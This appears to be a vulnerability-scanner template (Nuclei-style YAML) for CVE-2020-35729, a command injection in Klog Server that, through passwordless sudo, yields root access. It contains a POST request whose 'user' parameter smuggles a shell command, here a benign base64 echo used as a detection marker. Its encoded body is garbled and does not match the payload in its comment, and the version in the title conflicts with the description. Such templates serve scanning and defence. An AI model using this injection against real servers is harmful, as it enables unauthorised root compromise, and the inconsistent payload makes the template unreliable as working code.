Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7.
PoC代码[已公开]
id: CVE-2020-35729
info:
name: Klog Server <=2.41 - Unauthenticated Command Injection
author: dwisiswant0
severity: critical
description: Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7.
impact: |
An attacker can execute arbitrary commands on the server, leading to remote code execution and potential compromise of the system.
remediation: |
Upgrade to a patched version of Klog Server (>=2.42) or apply the vendor-supplied patch.
reference:
- https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection
- https://nvd.nist.gov/vuln/detail/CVE-2020-35729
- https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/Exploit_Code
- https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/README.md
- https://github.com/Z0fhack/Goby_POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-35729
cwe-id: CWE-78
epss-score: 0.90634
epss-percentile: 0.99585
cpe: cpe:2.3:a:klogserver:klog_server:2.4.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: klogserver
product: klog_server
tags: cve,cve2020,klog,rce,klogserver,vuln
variables:
dummy: "{{to_lower(rand_text_alpha(5))}}"
http:
- method: POST
path:
- "{{BaseURL}}/actions/authenticate.php"
body: 'user={{dummy}}%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd={{dummy}}' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo"
matchers:
- type: word
words:
- "poc-testing" # from Base64 decoding payload
# digest: 4b0a00483046022100e70e908cabab9b28b8bfef0ffe408021f4a09aff6dbc3d3bfe78ccffc9fa34be022100c4f9f2f5b87788777c8a9f8d5e1d5eb40f3469b1cbc38fa0833fd8b712d811fc:922c64590222798bb761d5b6d8e72950